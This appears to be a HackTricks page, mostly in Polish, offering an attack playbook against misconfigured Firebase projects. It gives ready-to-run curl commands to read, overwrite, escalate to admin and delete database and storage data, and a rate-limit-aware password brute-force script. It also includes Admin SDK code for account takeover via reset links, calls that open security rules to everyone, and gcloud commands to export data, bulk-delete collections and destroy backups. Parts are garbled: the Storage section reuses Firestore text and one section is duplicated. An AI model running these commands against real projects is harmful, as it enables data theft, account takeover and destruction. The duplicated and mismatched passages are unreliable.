GCP - Firebase Privesc

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Firebase

Nieautoryzowany dostęp do Firebase Realtime Database

Atakujący nie potrzebuje żadnych specyficznych uprawnień Firebase, aby przeprowadzić ten atak. Wymaga tylko podatnej konfiguracji w zasadach bezpieczeństwa Firebase Realtime Database, gdzie reguły są ustawione z .read: true lub .write: true, pozwalając na publiczny odczyt lub zapis.

Atakujący musi zidentyfikować URL bazy danych, który zazwyczaj ma format: https://<project-id>.firebaseio.com/.

Ten URL można znaleźć przez reverse engineering aplikacji mobilnych (dekompilację Android APK lub analizę aplikacji iOS), analizę plików konfiguracyjnych takich jak google-services.json (Android) lub GoogleService-Info.plist (iOS), sprawdzenie kodu źródłowego aplikacji webowych lub analizę ruchu sieciowego w celu identyfikacji żądań do domen *.firebaseio.com.

Atakujący identyfikuje URL bazy danych i sprawdza, czy jest publicznie wystawiony, następnie uzyskuje dostęp do danych i potencjalnie zapisuje złośliwe informacje.

Najpierw sprawdzają, czy baza pozwala na odczyt, dopisując .json do URL.

curl https://<project-id>-default-rtdb.firebaseio.com/.json

Jeśli odpowiedź zawiera dane JSON lub null (zamiast “Permission Denied”), baza danych umożliwia dostęp do odczytu. Aby sprawdzić dostęp do zapisu, atakujący może spróbować wysłać testowe żądanie zapisu przy użyciu Firebase REST API.

curl -X PUT https://<project-id>-default-rtdb.firebaseio.com/test.json -d '{"test": "data"}'

Jeśli operacja się powiedzie, baza danych również umożliwia dostęp do zapisu.

Ujawnienie danych w Cloud Firestore

Atakujący nie potrzebuje żadnych specyficznych uprawnień Firebase, aby przeprowadzić ten atak. Wystarczy, że w regułach bezpieczeństwa Cloud Firestore istnieje podatna konfiguracja, w której reguły zezwalają na dostęp do odczytu lub zapisu bez uwierzytelnienia lub przy niewystarczającej walidacji. Przykład błędnie skonfigurowanej reguły, która przyznaje pełny dostęp, to:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Ta reguła pozwala każdemu na odczyt i zapis wszystkich dokumentów bez żadnych ograniczeń. Reguły Firestore są granularne i dotyczą każdej kolekcji i dokumentu z osobna, więc błąd w konkretnej regule może ujawnić tylko niektóre kolekcje.

Atakujący musi zidentyfikować Firebase Project ID, który można znaleźć poprzez mobile app reverse engineering, analizę plików konfiguracyjnych takich jak google-services.json czy GoogleService-Info.plist, przegląd kodu źródłowego aplikacji webowych lub analizę ruchu sieciowego w celu zidentyfikowania żądań do firestore.googleapis.com. The Firestore REST API uses the format:

https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Jeżeli reguły zezwalają na nieautoryzowany dostęp do odczytu, atakujący mogą odczytywać kolekcje i dokumenty. Najpierw próbują uzyskać dostęp do konkretnej kolekcji:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>

Jeśli odpowiedź zawiera dokumenty JSON zamiast błędu uprawnień, kolekcja jest odsłonięta. Atakujący może wyliczyć wszystkie dostępne kolekcje, próbując popularnych nazw lub analizując strukturę aplikacji. Aby uzyskać dostęp do konkretnego dokumentu:

curl https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Jeśli reguły zezwalają na unauthenticated write access lub mają insufficient validation, attacker może utworzyć nowe dokumenty:

curl -X POST https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"name": {"stringValue": "Test"},
"email": {"stringValue": "test@example.com"}
}
}'

Aby zmodyfikować istniejący dokument, należy użyć PATCH:

curl -X PATCH https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/users/<user-id> \
-H "Content-Type: application/json" \
-d '{
"fields": {
"role": {"stringValue": "admin"}
}
}'

Aby usunąć dokument i spowodować odmowę usługi (DoS):

curl -X DELETE https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>

Ujawnienie plików w Firebase Storage

Atakujący nie potrzebuje żadnych specjalnych uprawnień Firebase, aby przeprowadzić ten atak. Wystarczy jedynie podatna konfiguracja reguł bezpieczeństwa Firebase Storage, w których reguły zezwalają na dostęp do odczytu lub zapisu bez uwierzytelnienia lub z niewystarczającą walidacją. Reguły Storage kontrolują uprawnienia do odczytu i zapisu niezależnie, więc błąd w regule może ujawnić tylko dostęp do odczytu, tylko zapis lub oba. Przykładem błędnie skonfigurowanej reguły, która przyznaje pełny dostęp, jest:

service cloud.firestore {
match /databases/{database}/documents/{document=**} {
allow read, write: if true;
}
}

Ta reguła pozwala na dostęp do odczytu i zapisu (read and write access) do wszystkich dokumentów bez żadnych ograniczeń. Zasady Firestore są szczegółowe i stosowane per collection i per document, więc błąd w konkretnej regule może odsłonić tylko wybrane kolekcje. The attacker musi zidentyfikować Firebase Project ID, który można znaleźć poprzez mobile application reverse engineering, analizę plików konfiguracyjnych takich jak google-services.json lub GoogleService-Info.plist, przegląd źródeł aplikacji webowej lub network traffic analysis w celu wykrycia żądań do firestore.googleapis.com.

Firestore REST API używa formatu: https://firestore.googleapis.com/v1/projects/<PROJECT_ID>/databases/(default)/documents/<collection>/<document>.

Jeśli reguły zezwalają na unauthenticated read access, the attacker może odczytywać kolekcje i dokumenty. Najpierw próbuje uzyskać dostęp do konkretnej kolekcji.

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o"
curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?prefix=<path>"

Jeśli odpowiedź zawiera listę plików zamiast błędu uprawnień, plik jest ujawniony. Atakujący może wyświetlić zawartość plików, podając ich ścieżkę:

curl "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<urlencode(path)>"

Jeśli reguły zezwalają na zapis bez uwierzytelniania lub mają niewystarczającą walidację, atakujący może przesłać złośliwe pliki. Aby przesłać plik przez REST API:

curl -X POST "https://firebasestorage.googleapis.com/v0/b/<bucket>/o?name=<path>" \
-H "Content-Type: <content-type>" \
--data-binary @<local-file>

Atakujący może przesłać code shells, malware payloads lub duże pliki, aby spowodować denial of service. Jeśli aplikacja przetwarza lub uruchamia przesłane pliki, atakujący może osiągnąć remote code execution. Aby usunąć pliki i spowodować denial of service:

curl -X DELETE "https://firebasestorage.googleapis.com/v0/b/<bucket>/o/<path>"

Wywołanie publicznych Firebase Cloud Functions

Atakujący nie potrzebuje żadnych konkretnych uprawnień Firebase, aby wykorzystać ten problem; wystarczy, że Cloud Function jest publicznie dostępna przez HTTP bez uwierzytelnienia.

Funkcja jest podatna, gdy jest nieprawidłowo skonfigurowana:

  • Używa functions.https.onRequest, które nie wymusza uwierzytelniania (w przeciwieństwie do onCall functions).
  • Kod funkcji nie waliduje uwierzytelnienia użytkownika (np. brak sprawdzeń request.auth lub context.auth).
  • Funkcja jest publicznie dostępna w IAM, co oznacza, że allUsers ma rolę roles/cloudfunctions.invoker. To jest domyślne zachowanie dla funkcji HTTP, chyba że deweloper ograniczy dostęp.

Firebase HTTP Cloud Functions są udostępniane pod URL-ami takimi jak:

  • https://<region>-<project-id>.cloudfunctions.net/<function-name>
  • https://<project-id>.web.app/<function-name> (when integrated with Firebase Hosting)

Atakujący może odnaleźć te URL-e poprzez analizę kodu źródłowego, inspekcję ruchu sieciowego, narzędzia do enumeracji lub reverse engineering aplikacji mobilnej. Jeśli funkcja jest publicznie wystawiona i nie wymaga uwierzytelnienia, atakujący może ją wywołać bezpośrednio bez poświadczeń.

# Invoke public HTTP function with GET
curl "https://<region>-<project-id>.cloudfunctions.net/<function-name>"
# Invoke public HTTP function with POST and data
curl -X POST "https://<region>-<project-id>.cloudfunctions.net/<function-name>" \
-H "Content-Type: application/json" \
-d '{"param1": "value1", "param2": "value2"}'

Jeżeli funkcja nie weryfikuje prawidłowo danych wejściowych, atakujący może spróbować innych ataków, takich jak code injection lub command injection.

Brute-force attack przeciwko Firebase Authentication przy słabej polityce haseł

Atakujący nie potrzebuje żadnych specyficznych uprawnień Firebase, aby przeprowadzić ten atak. Wystarczy, że Firebase API Key jest ujawniony w aplikacjach mobilnych lub webowych oraz że polityka haseł nie została skonfigurowana z bardziej restrykcyjnymi wymaganiami niż wartości domyślne.

Atakujący musi zidentyfikować Firebase API Key, który można znaleźć poprzez mobile app reverse engineering, analizę plików konfiguracyjnych takich jak google-services.json lub GoogleService-Info.plist, przeglądanie kodu źródłowego aplikacji webowych (np. w bootstrap.js) lub analizę ruchu sieciowego.

REST API Firebase Authentication używa endpointu: https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY> do uwierzytelniania za pomocą adresu e-mail i hasła.

Jeśli Email Enumeration Protection jest wyłączony, odpowiedzi błędów API mogą ujawnić, czy dany adres e-mail istnieje w systemie (EMAIL_NOT_FOUND vs. INVALID_PASSWORD), co pozwala atakującym na enumerację użytkowników przed próbami odgadywania haseł. Gdy ta ochrona jest włączona, API zwraca ten sam komunikat o błędzie zarówno dla nieistniejących adresów e-mail, jak i niepoprawnych haseł, uniemożliwiając enumerację użytkowników.

Należy pamiętać, że Firebase Authentication stosuje rate limiting, który może zablokować żądania, jeśli zbyt wiele prób uwierzytelnienia wystąpi w krótkim czasie. Z tego powodu atakujący musiałby wprowadzać opóźnienia między próbami, aby uniknąć bycia rate-limited.

Atakujący identyfikuje API Key i wykonuje próby uwierzytelnienia przy użyciu wielu haseł na znanych kontach. Jeśli Email Enumeration Protection jest wyłączona, atakujący może enumerować istniejących użytkowników poprzez analizę odpowiedzi błędów:

# Attempt authentication with a known email and an incorrect password
curl -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d '{
"email": "usuario@example.com",
"password": "password",
"returnSecureToken": true
}'

Jeśli odpowiedź zawiera EMAIL_NOT_FOUND, adres e‑mail nie istnieje w systemie. Jeśli zawiera INVALID_PASSWORD, adres e‑mail istnieje, ale hasło jest nieprawidłowe, co potwierdza, że użytkownik jest zarejestrowany. Gdy zostanie zidentyfikowany prawidłowy użytkownik, atakujący może przeprowadzić brute-force. Ważne jest, aby robić przerwy między próbami, aby uniknąć mechanizmów rate-limiting w Firebase Authentication:

counter=1
for password in $(cat wordlist.txt); do
echo "Intento $counter: probando contraseña '$password'"
response=$(curl -s -X POST "https://identitytoolkit.googleapis.com/v1/accounts:signInWithPassword?key=<API_KEY>" \
-H "Content-Type: application/json" \
-d "{\"email\":\"usuario@example.com\",\"password\":\"$password\",\"returnSecureToken\":true}")

if echo "$response" | grep -q "idToken"; then
echo "Contraseña encontrada: $password (intento $counter)"
break
fi

# Stop for the rate limiting
sleep 1
counter=$((counter + 1))
done

With the default password policy (minimum 6 znaków, brak wymagań dotyczących złożoności), attacker może spróbować wszystkich możliwych kombinacji 6-znakowych haseł, co stanowi stosunkowo małą przestrzeń przeszukiwań w porównaniu do surowszych polityk haseł.

Zarządzanie użytkownikami w Firebase Authentication

attacker potrzebuje określonych uprawnień Firebase Authentication, aby przeprowadzić ten atak. Wymagane uprawnienia to:

  • firebaseauth.users.create do tworzenia użytkowników
  • firebaseauth.users.update do modyfikowania istniejących użytkowników
  • firebaseauth.users.delete do usuwania użytkowników
  • firebaseauth.users.get do pobierania informacji o użytkownikach
  • firebaseauth.users.sendEmail do wysyłania e-maili do użytkowników
  • firebaseauth.users.createSession do tworzenia sesji użytkowników

Te uprawnienia są zawarte w roli roles/firebaseauth.admin, która zapewnia pełny dostęp do odczytu i zapisu zasobów Firebase Authentication. Są one również zawarte w rolach wyższego poziomu, takich jak roles/firebase.developAdmin (które zawiera wszystkie uprawnienia firebaseauth.*) oraz roles/firebase.admin (pełny dostęp do wszystkich usług Firebase).

Aby użyć Firebase Admin SDK, attacker potrzebowałby dostępu do poświadczeń konta serwisowego (plik JSON), które mogą znajdować się na skompromitowanych systemach, publicznie udostępnionych repozytoriach kodu, skompromitowanych systemach CI/CD lub w wyniku przejęcia kont deweloperów mających dostęp do tych poświadczeń.

Pierwszym krokiem jest skonfigurowanie Firebase Admin SDK przy użyciu poświadczeń konta serwisowego.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Aby utworzyć złośliwego użytkownika przy użyciu adresu e-mail ofiary, atakujący spróbuje użyć Firebase Admin SDK, aby wygenerować nowe konto dla tego adresu e-mail.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Aby zmodyfikować istniejącego użytkownika, atakujący zaktualizowałby pola takie jak adres e-mail, status weryfikacji lub czy konto jest wyłączone.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Aby usunąć konto użytkownika i spowodować denial of service, attacker wysłałby żądanie całkowitego usunięcia użytkownika.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Atakujący może również uzyskać informacje o istniejących użytkownikach, żądając ich UID lub adresu e-mail.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Dodatkowo atakujący mógłby wygenerować linki weryfikacyjne lub linki do resetu hasła, aby zmienić hasło użytkownika i uzyskać dostęp do jego konta.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Zarządzanie użytkownikami w Firebase Authentication

Atakujący potrzebuje określonych uprawnień Firebase Authentication, aby przeprowadzić ten atak. Wymagane uprawnienia to:

  • firebaseauth.users.create to create users
  • firebaseauth.users.update to modify existing users
  • firebaseauth.users.delete to delete users
  • firebaseauth.users.get to obtain user information
  • firebaseauth.users.sendEmail to send emails to users
  • firebaseauth.users.createSession to create user sessions

Te uprawnienia są zawarte w roli roles/firebaseauth.admin, która daje pełny dostęp do odczytu/zapisu zasobów Firebase Authentication. Są one również częścią ról wyższego poziomu, takich jak roles/firebase.developAdmin (zawierająca wszystkie firebaseauth.* uprawnienia) oraz roles/firebase.admin (pełny dostęp do wszystkich usług Firebase).

Aby użyć Firebase Admin SDK, atakujący musiałby mieć dostęp do poświadczeń konta usługi (plik JSON), które mogą pochodzić z przejętych systemów, publicznie udostępnionych repozytoriów kodu, przejętych środowisk CI/CD lub w wyniku przejęcia kont deweloperów mających dostęp do tych poświadczeń.

Pierwszym krokiem jest skonfigurowanie Firebase Admin SDK przy użyciu poświadczeń konta usługi.

import firebase_admin
from firebase_admin import credentials, auth
cred = credentials.Certificate('path/to/serviceAccountKey.json')
firebase_admin.initialize_app(cred)

Aby utworzyć złośliwego użytkownika używając e-maila ofiary, atakujący spróbuje utworzyć nowe konto użytkownika z tym adresem e-mail, przypisując własne hasło i informacje profilowe.

user = auth.create_user(
email='victima@example.com',
email_verified=False,
password='password123',
display_name='Usuario Malicioso',
disabled=False
)
print(f'Usuario creado: {user.uid}')

Aby zmodyfikować istniejącego użytkownika, atakujący zmieniłby pola takie jak adres e-mail, status weryfikacji lub czy konto jest wyłączone.

user = auth.update_user(
uid,
email='nuevo-email@example.com',
email_verified=True,
disabled=False
)
print(f'Usuario actualizado: {user.uid}')

Aby usunąć konto użytkownika — skutecznie powodując denial of service — atakujący wysłałby żądanie trwałego usunięcia tego użytkownika.

auth.delete_user(uid)
print('Usuario eliminado exitosamente')

Atakujący mógłby także pobrać informacje o istniejących użytkownikach, takie jak ich UID lub adres e-mail, żądając danych użytkownika albo po UID, albo po adresie e-mail.

user = auth.get_user(uid)
print(f'Información del usuario: {user.uid}, {user.email}')
user = auth.get_user_by_email('usuario@example.com')
print(f'Información del usuario: {user.uid}, {user.email}')

Dodatkowo atakujący mógłby wygenerować linki weryfikacyjne lub linki do resetowania hasła, co umożliwiłoby mu zmianę hasła użytkownika i przejęcie kontroli nad kontem.

link = auth.generate_email_verification_link(email)
print(f'Link de verificación: {link}')
link = auth.generate_password_reset_link(email)
print(f'Link de reset: {link}')

Modyfikacja reguł bezpieczeństwa w usługach Firebase

Atakujący potrzebuje określonych uprawnień, aby modyfikować reguły bezpieczeństwa w zależności od usługi. Dla Cloud Firestore i Firebase Cloud Storage wymagane są uprawnienia firebaserules.rulesets.create do tworzenia rulesets i firebaserules.releases.create do wdrażania releases. Uprawnienia te są zawarte w roli roles/firebaserules.admin lub w rolach wyższego poziomu, takich jak roles/firebase.developAdmin i roles/firebase.admin. Dla Firebase Realtime Database wymagane jest uprawnienie firebasedatabase.instances.update.

Atakujący musi użyć Firebase REST API, aby zmodyfikować reguły bezpieczeństwa. Najpierw atakujący musi uzyskać token dostępu przy użyciu poświadczeń konta serwisowego. Aby uzyskać token:

gcloud auth activate-service-account --key-file=path/to/serviceAccountKey.json
ACCESS_TOKEN=$(gcloud auth print-access-token)

Aby zmodyfikować reguły Firebase Realtime Database:

curl -X PUT "https://<project-id>-default-rtdb.firebaseio.com/.settings/rules.json?access_token=$ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"rules": {
".read": true,
".write": true
}
}'

Aby zmodyfikować reguły Cloud Firestore, atakujący musi utworzyć ruleset, a następnie go wdrożyć:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "firestore.rules",
"content": "rules_version = '\''2'\'';\nservice cloud.firestore {\n  match /databases/{database}/documents {\n    match /{document=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Poprzednie polecenie zwraca nazwę rulesetu w formacie projects//rulesets/. Aby wdrożyć nową wersję, wydanie musi zostać zaktualizowane przy użyciu żądania PATCH:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/cloud.firestore" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/cloud.firestore",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Aby zmodyfikować reguły Firebase Cloud Storage:

curl -X POST "https://firebaserules.googleapis.com/v1/projects/<project-id>/rulesets" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"source": {
"files": [{
"name": "storage.rules",
"content": "service firebase.storage {\n  match /b/{bucket}/o {\n    match /{allPaths=**} {\n      allow read, write: if true;\n    }\n  }\n}"
}]
}
}'

Poprzednie polecenie zwraca nazwę rulesetu w formacie projects//rulesets/. Aby wdrożyć nową wersję, należy zaktualizować release za pomocą żądania PATCH:

curl -X PATCH "https://firebaserules.googleapis.com/v1/projects/<project-id>/releases/firebase.storage/<bucket-id>" \
-H "Authorization: Bearer $ACCESS_TOKEN" \
-H "Content-Type: application/json" \
-d '{
"release": {
"name": "projects/<project-id>/releases/firebase.storage/<bucket-id>",
"rulesetName": "projects/<project-id>/rulesets/<ruleset-id>"
}
}'

Data exfiltration and manipulation in Cloud Firestore

Cloud Firestore korzysta z tej samej infrastruktury i systemu uprawnień co Cloud Datastore, więc uprawnienia Datastore IAM mają bezpośrednie zastosowanie do Firestore. Do manipulowania politykami TTL wymagane jest uprawnienie datastore.indexes.update. Do eksportu danych wymagane jest uprawnienie datastore.databases.export. Do importu danych wymagane jest uprawnienie datastore.databases.import. Do wykonania masowego usuwania danych wymagane jest uprawnienie datastore.databases.bulkDelete.

Do operacji tworzenia kopii zapasowych i przywracania potrzebne są konkretne uprawnienia:

  • datastore.backups.get i datastore.backups.list do wylistowania i pobrania szczegółów dostępnych kopii zapasowych
  • datastore.backups.delete do usuwania kopii zapasowych
  • datastore.backups.restoreDatabase do przywrócenia bazy danych z kopii zapasowej
  • datastore.backupSchedules.create i datastore.backupSchedules.delete do zarządzania harmonogramami tworzenia kopii zapasowych

Kiedy tworzona jest polityka TTL, wybierana jest określona właściwość, która identyfikuje encje kwalifikujące się do usunięcia. Ta właściwość TTL musi być typu Date and time. Atakujący może wybrać właściwość, która już istnieje, lub wyznaczyć właściwość, którą planuje dodać później. Jeśli wartość pola jest datą z przeszłości, dokument może zostać niezwłocznie usunięty. Atakujący może użyć gcloud CLI do manipulowania politykami TTL.

# Enable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--enable-ttl
# Disable TTL
gcloud firestore fields ttls update expireAt \
--collection-group=users \
--disable-ttl

Aby wyeksportować dane i exfiltrate je, atakujący mógłby użyć gcloud CLI.

gcloud firestore export gs://<bucket-name> --project=<project-id> --async --database='(default)'

Aby zaimportować złośliwe dane:

gcloud firestore import gs://<bucket-name>/<path> --project=<project-id> --async --database='(default)'

Aby przeprowadzić masowe usuwanie danych i spowodować denial of service, atakujący mógłby użyć narzędzia gcloud Firestore bulk-delete do usunięcia całych kolekcji.

gcloud firestore bulk-delete \
--collection-ids=users,posts,messages \
--database='(default)' \
--project=<project-id>

W ramach operacji związanych z backup i restoration atakujący mógłby tworzyć scheduled backups, aby uchwycić bieżący stan database, listować istniejące backups, restore from a backup w celu nadpisania ostatnich zmian, usuwać backups powodując trwałą utratę danych oraz usuwać scheduled backups.

Aby utworzyć daily backup schedule, który natychmiast wygeneruje backup:

gcloud firestore backups schedules create \
--database='(default)' \
--recurrence=daily \
--retention=14w \
--project=<project-id>

Aby przywrócić z konkretnej kopii zapasowej, atakujący może utworzyć nową bazę danych, używając danych zawartych w tej kopii. Operacja przywracania zapisuje dane kopii do nowej bazy danych, co oznacza, że istniejącego DATABASE_ID nie można użyć.

gcloud firestore databases restore \
--source-backup=projects/<project-id>/locations/<location>/backups/<backup-id> \
--destination-database='<new-database-id>' \
--project=<project-id>

Aby usunąć kopię zapasową i spowodować trwałą utratę danych:

gcloud firestore backups delete \
--backup=<backup-id> \
--project=<project-id>

Kradzież i nadużycie poświadczeń Firebase CLI

Atakujący nie potrzebuje specjalnych uprawnień Firebase, aby przeprowadzić ten atak, ale musi mieć dostęp do lokalnego systemu dewelopera lub do pliku z poświadczeniami Firebase CLI. Poświadczenia te są przechowywane w pliku JSON znajdującym się pod ścieżką:

  • Linux/macOS: ~/.config/configstore/firebase-tools.json

  • Windows: C:\Users[User].config\configstore\firebase-tools.json

Ten plik zawiera tokeny uwierzytelniające, w tym refresh_token i access_token, które pozwalają atakującemu uwierzytelnić się jako użytkownik, który pierwotnie wykonał firebase login.

Atakujący uzyskuje dostęp do pliku z poświadczeniami Firebase CLI. Następnie może skopiować cały plik na swój system, a Firebase CLI automatycznie użyje poświadczeń ze swojej domyślnej lokalizacji. Po wykonaniu tej czynności atakujący może przeglądać wszystkie Firebase projects dostępne dla tego użytkownika.

firebase projects:list

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks